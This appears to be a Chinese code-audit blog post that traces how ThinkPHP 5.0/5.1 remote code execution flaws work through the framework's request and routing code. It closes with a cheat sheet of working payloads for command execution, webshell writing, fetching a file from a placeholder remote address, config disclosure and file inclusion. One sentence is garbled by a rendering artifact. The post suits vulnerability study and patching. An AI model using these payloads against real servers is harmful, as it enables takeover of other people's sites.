Thinkphp5 RCE漏洞

文章首发于Secin:TP5 RCE漏洞总结

前言

师傅们都说tp5最出名的就是RCE漏洞,所以要好好复现一波

影响版本

5.0.0<=ThinkPHP5<=5.0.23 、5.1.0<=ThinkPHP<=5.1.30

不同版本payload不同,且5.13版本后还与debug模式有关

这里跟着feng师傅复现的,所以用的也是5.0.22

ThinkPHP5.0.22完整版 - ThinkPHP框架

5.0.22debug模式RCE

这波属实下饭了,开启debug模式后payload一直没打通,后来发现改成其他版本的配置文件了(我所有版本tp都在一个目录下)???

/config/config.php—>app_debug=>true

先给payload跟一边

_method=__construct&filter=system&server[REQUEST_METHOD]=whoami

入口就是index.php,跟进start.php
Thinkphp5 RCE漏洞_第1张图片

跟进run(),前边都是一些参数配置,直接跳到routeCheck()
Thinkphp5 RCE漏洞_第2张图片

前边还是配置操作直接看check()
Thinkphp5 RCE漏洞_第3张图片

下边有个method()跟进一下
Thinkphp5 RCE漏洞_第4张图片

525行$this->method = strtoupper($_POST[Config::get('var_method')]);,获取POST传参中的var_method的值,而配置文件config.php中,它的默认值是_method,而我们POST传参的_method值是__construct,在经过strtoupper转大写,所以$this->method=__CONSTRUCT,之后526行,就相当于执行了__construct($_POST),POST值就是我们传进去的在下边

跟进__construct()
Thinkphp5 RCE漏洞_第5张图片

这里本身server是没有值的,但是通过foreach语句,进行变量覆盖,最后一次循环时,$name='server',$item =>REQUEST_METHOD=whoami,这样一来在经过$this->$name=$item后,就发生了变量覆盖即$server=>REQUEST_METHOD=whoami,即下边圈出来的值

到这为了防止比较乱,先捋一下刚刚的链run()->routeCheck()->check()->method()->__construct()

执行完__construct()后回到method()method()执行完后retrun $this->method;,回到check(),check()最下边会rerurn false;在回到routeCheck(),此时$resault=false
Thinkphp5 RCE漏洞_第6张图片

进入653行判断,跟进parseUrl()
Thinkphp5 RCE漏洞_第7张图片

最后会return 一个值,其中$route跟上边三个变量有关,调试时候跟一下就好了,其实也没啥东西

执行完后retrun $resault;回到了run(),将值给了$dispatch
Thinkphp5 RCE漏洞_第8张图片

之后执行$request->dispatch($dispatch);$dispatch的值赋给$this->dispatch,其实这里也就是替换掉了$request中dispatch的值

跟进param(),看过之前tp5.1反序列化话,应该对这个很熟悉了,继续跟进method(true),注意这其实就是最开始的那个method()方法,前边的那个没给参数所以默认为false,这里是true
Thinkphp5 RCE漏洞_第9张图片

$method=true,所以进入第一个if,跟进server()
Thinkphp5 RCE漏洞_第10张图片

$this->server通过刚才的__construct()已经赋值了,所以绕过第一个if,$name的值是上图中传进的REQUEST_METHOD,是个字符串所以也不进入第二个if,下面操作就跟tp5.1反序列化的一样了,直接跟进input()
Thinkphp5 RCE漏洞_第11张图片

调用input时第二个参数,三目运算将大写REQUEST_METHOD,传给了input中的$name,$data=就是$this->server的值

之后经过foreach,将$name的值给$val=REQUEST_METHOD,然后$data=$data[$var]即:$data=$data[REQUEST_METHOD]也就等于whoami
Thinkphp5 RCE漏洞_第12张图片

之后就是两个重点的方法getFilter(),tpRCE中常用方法filterValue()
Thinkphp5 RCE漏洞_第13张图片

先跟进getFilter(),1058行,将$this->filter的值给$filter,由于我们POST传入的是filter=system,所以现在的$filter=system,中间过滤操作对其值无影响不看了,执行完retrun返回
Thinkphp5 RCE漏洞_第14张图片

跟进filterValue(),$value的值就是$data的值,call_user_func执行,最后return $this->filterExp($value); filterExp就是一个正则过滤主要过SQL的(tp3.2.3的SQL中也出现过),对我们的值没有影响,所以执行成功并回显了
Thinkphp5 RCE漏洞_第15张图片

5.0.22非debug模式RCE

还是先贴payload

?s=captcha
_method=__construct&filter=system&method=get&server[REQUEST_METHOD]=dir

非debug模式的区别就在于,之前debug模式时,可以进入if判断从而执行,param(),而非debug模式无法进入if所以执行点就到了下边的exec()
Thinkphp5 RCE漏洞_第16张图片

跟进exec(),会进行$dispatch[‘type’]检测,若为method,则就可以从这里进入param(),进而命令执行
Thinkphp5 RCE漏洞_第17张图片

所以这里主要就在于,如何将$dispatch['type']=method,还是先跟到method方法这里(里边执行__construct()那个就不进去了)
Thinkphp5 RCE漏洞_第18张图片

经过method()变量覆盖,此时$method=get,在经过self::$rules[get]给$rules赋值,结果在下边,现在问题是为什么值是这个数组呢?

这是由于ThinkPHP有⾃动加载机制,在运⾏时会⾃动加载vendor⽬录下的第三⽅库。

由于我们get传参?s=captcha,所以自动调用了think-captcha下的文件

加载过程如下:

vendor/topthink/think-captcha/src/helper.php中有个get方法,然后get()->rule()->setRule()
Thinkphp5 RCE漏洞_第19张图片

最终也就是相当于获得了我们get()方法中传入的参数
Thinkphp5 RCE漏洞_第20张图片

回过来接着看,给$rules,赋完值后会进入checkRoute(),注意:$rules作为第二个参数传入
Thinkphp5 RCE漏洞_第21张图片

跟进后里边又有个checkRule()->parseRule(),$rules作为第二个参数传给$route,在作为第二个参数传给parseRule()$route

//checkRule()
$result = self::checkRule($rule, $route, $url, $pattern, $option, $depr);

//parseRule()
return self::parseRule($rule, $route, $url, $option, $match);

跟到1517行,发现将$route赋给了$method,最后$resault中的$type变为我们想要的"method",$method变为$route的值,如图所示:
Thinkphp5 RCE漏洞_第22张图片

还是先捋一下整条链

run()->routeCheck()->check()->checkRoute()->checkRule()->pareRule(),type=method

都执行完后再回到run(),将刚才得到的值给了$dispatch,之后执行exec,这时我们的dispatch['type']=method,所以就执行了param()之后就跟debug模式一样了不跟进看了
Thinkphp5 RCE漏洞_第23张图片

5.0-5.0.12的另一种RCE思路

这条链应该是只适用于5.0—5.0.12具体没有一个个审,本地测试是0、5、12的都可以,所以应该也差不多

复现用的是5.0.5ThinkPHP5.0.5完整版 - ThinkPHP框架

payload

_method=__construct&filter=system&method=GET&s=whoami

前边非debug的RCE是利用的$dispatch['type']=method,进而命令执行的,而这条链则是用到$dispatch['type']=module,先来看下如何让他的值变为module

前边都是一样的,直接看routeCheck()这里
Thinkphp5 RCE漏洞_第24张图片

跟进后原本是通过check()然后再一直调用其他方法,将type变为method的,这里在check()方法执行完后,550行有个parseUrl()

$result = Route::parseUrl($path, $depr, $config['controller_auto_search']);

跟进这里最后会返回type=>module$route其实基本没发生什么变化,具体细节就不看了
Thinkphp5 RCE漏洞_第25张图片

执行完后回到run()方法中的type判断这里
Thinkphp5 RCE漏洞_第26张图片

跟进module,该方法最后执行invokeMethod()

return self::invokeMethod($call, $vars);

跟进221行,有个bindParams()

$args = self::bindParams($reflect, $vars);

跟进发现了param(),这里调用时没用到任何参数,所以前边我只是一直在跟进并没有分析他的具体流程
Thinkphp5 RCE漏洞_第27张图片

跟进
Thinkphp5 RCE漏洞_第28张图片

经过method()方法得到POST,然后将我们POST传入的值给$var,之后631行进行合并,这里的合并其实就是$var的值(框选部分),因为前后的getroute方法参数都是false默认返回空,所以可以理解为$this->param=$vars,最后调用input

跟进调用array_walk_recursive,$data就是input的第一个参数即:$this->param,$filter为我们传入的system
Thinkphp5 RCE漏洞_第29张图片
最后直接执行了,不截图了(这个地方在tp5.1反序列化中遇到过)

至于5.0.13后为什么不行,主要在这里,module中filter被覆盖为空
Thinkphp5 RCE漏洞_第30张图片

未开启强制路由导致RCE

环境

composer create-project topthink/think=5.1.29 tp5.1.29

我这边版本一直下载不对,没弄好就从github上直接找了个

vulnspy/thinkphp-5.1.29 (github.com)

前提

未开启强制路由/config/app.php

// 是否强制使用路由
'url_route_must'         => false,

分析

感觉下载的不是纯净源码,就简单跟一下吧

老样子先进入run()
Thinkphp5 RCE漏洞_第31张图片

调用routeCheck()init(),先跟进routeCheck()

先通过path()获取传参的值
Thinkphp5 RCE漏洞_第32张图片

跟进check(),先看881行,将$url值中的/替换成|,所以结果从一开始的index/think\Request/input变为index|think\Request/input
Thinkphp5 RCE漏洞_第33张图片

最后retrun返回

    return new UrlDispatch($this->request, $this->group, $url, [
        'auto_search' => $this->autoSearchController,
    ]);
}

执行完后看下值,主要还是index|think\Request/input这一部分
Thinkphp5 RCE漏洞_第34张图片

相当于index模块,think\Request控制器,input方法。继续跟进,routeCheck()函数运行完毕,进入init():

Thinkphp5 RCE漏洞_第35张图片

48行有个parseUrlPath()跟进一下

list($path, $var) = $this->rule->parseUrlPath($url);

通过explode将url以/分为三个数组
Thinkphp5 RCE漏洞_第36张图片

回到parseUrl(),主要执行了下边三个array_shift操作,以$module举例,$path的第一个数组为index,通过array_shift将第一个数组删除,并返回index,剩下的controller、action依次就为think\Request、input
Thinkphp5 RCE漏洞_第37张图片

最后将这三个值赋给$route并retrun

$route = [$module, $controller, $action];

if ($this->hasDefinedRoute($route, $bind)) {
    throw new HttpException(404, 'invalid request:' . str_replace('|', $depr, $url));
}

return $route;

回到init()

return (new Module($this->request, $this->rule, $result))->init();

在回到run(),调用``$dispatch->run():
Thinkphp5 RCE漏洞_第38张图片

跟进,在168执行exec()

  1. 先实例化了控制器,相当于实例化think\Request
  2. $action这里先获得input这个方法名,
  3. 然后判断是否可以调用,创造$call
  4. 生成了一个ReflectionMethod反射类的对象,得到方法名。
  5. 利用param方法获得请求参数,即:filter=system&data=whoami

Thinkphp5 RCE漏洞_第39张图片

之后有个135行invokeReflectMethod()

$data = $this->app->invokeReflectMethod($instance, $reflect, $vars);

跟进,又发现bindParams()会retrun a r g s ; 再传给 ‘ i n v o k e A r g s ( ) ‘ 调用, ‘ i n v o k e A r g s ( ) ‘ 利用反射机制,把 ‘ args;再传给`invokeArgs()`调用,`invokeArgs()`利用反射机制,把` args;再传给invokeArgs()调用,invokeArgs()利用反射机制,把args`这个数组作为参数,调用了input方法,到input就很熟悉下边就不分析了

Thinkphp5 RCE漏洞_第40张图片

到这RCE部分就结束了,其实对于最后的未强制路由上,审计的还是不是很明白,也不知道是不是源码的问题,就是感觉有点乱这里就以后再说吧

payload总结

tp5RCE的payload其实还有很多,这里贴一波师傅总结payload

5.0-5.0.12debug无关

开启debug后会执行两遍我们的命令,一次在debug模式判断那里,run()->param():126,另一个就是非debug模式下的exec()

命令执行

POST 
s=whoami&_method=__construct&method=POST&filter[]=system
aaaa=whoami&_method=__construct&method=GET&filter[]=system
_method=__construct&method=GET&filter[]=system&get[]=whoami
c=system&f=calc&_method=filter								//自5.0.8开始

shell

POST
s=file_put_contents('test.php',')&_method=__construct&method=POST&filter[]=assert

debug模式

5.0-5.0.20

准确的来说应该是5.0.13-5.0.20,因为13之前都会执行两次,不属于debug模式特有的

POST 
s=whoami&_method=__construct&method=POST&filter[]=system
aaaa=whoami&_method=__construct&method=GET&filter[]=system
_method=__construct&method=GET&filter[]=system&get[]=whoami
c=system&f=calc&_method=filter								//自5.0.8开始

写shell

s=file_put_contents('test.php','

有captcha路由时debug无关

POST ?s=captcha/calc
_method=__construct&filter[]=system&method=GET

5.0.21-5.0.24、5.1.0-5.1.1

命令执行

POST 
_method=__construct&filter[]=system&server[REQUEST_METHOD]=calc

写shell

POST
_method=__construct&filter[]=assert&server[REQUEST_METHOD]=file_put_contents('test.php','

有captcha路由时debug无关

POST ?s=captcha/calc
_method=__construct&filter[]=system&method=GET
POST ?s=captcha
_method=__construct&filter[]=system&server[REQUEST_METHOD]=calc&method=get

未开启强制路由导致RCE

这个漏洞的影响范围应该是

ThinkPHP5<5.0.23、ThinkPHP5.1<5.1.30

命令执行

5.0.x
?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=whoami
5.1.x
?s=index/\think\Request/input&filter[]=system&data=whoami
?s=index/\think\Container/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=whoami
?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=whoami

shell

5.0.x
?s=/index/\think\app/invokefunction&function=call_user_func_array&vars[0]=assert&vars[1][]=copy(%27远程地址%27,%27333.php%27)
5.1.x
?s=index/\think\template\driver\file/write&cacheFile=shell.php&content=<?php phpinfo();?>
?s=index/\think\view\driver\Think/display&template=<?php phpinfo();?>             //shell生成在runtime/temp/md5(template).php
?s=/index/\think\app/invokefunction&function=call_user_func_array&vars[0]=assert&vars[1][]=copy(%27远程地址%27,%27333.php%27)

其他

5.0.x
?s=index/think\config/get&name=database.username // 获取配置信息
?s=index/\think\Lang/load&file=../../test.jpg    // 包含任意文件
?s=index/\think\Config/load&file=../../t.php     // 包含任意.php文件

参考

Thinkphp5 RCE总结 - Y4er的博客

(1条消息) thinkphp5 RCE漏洞复现_bfengj的博客-CSDN博客

你可能感兴趣的:(php,代码审计,安全,web安全,php)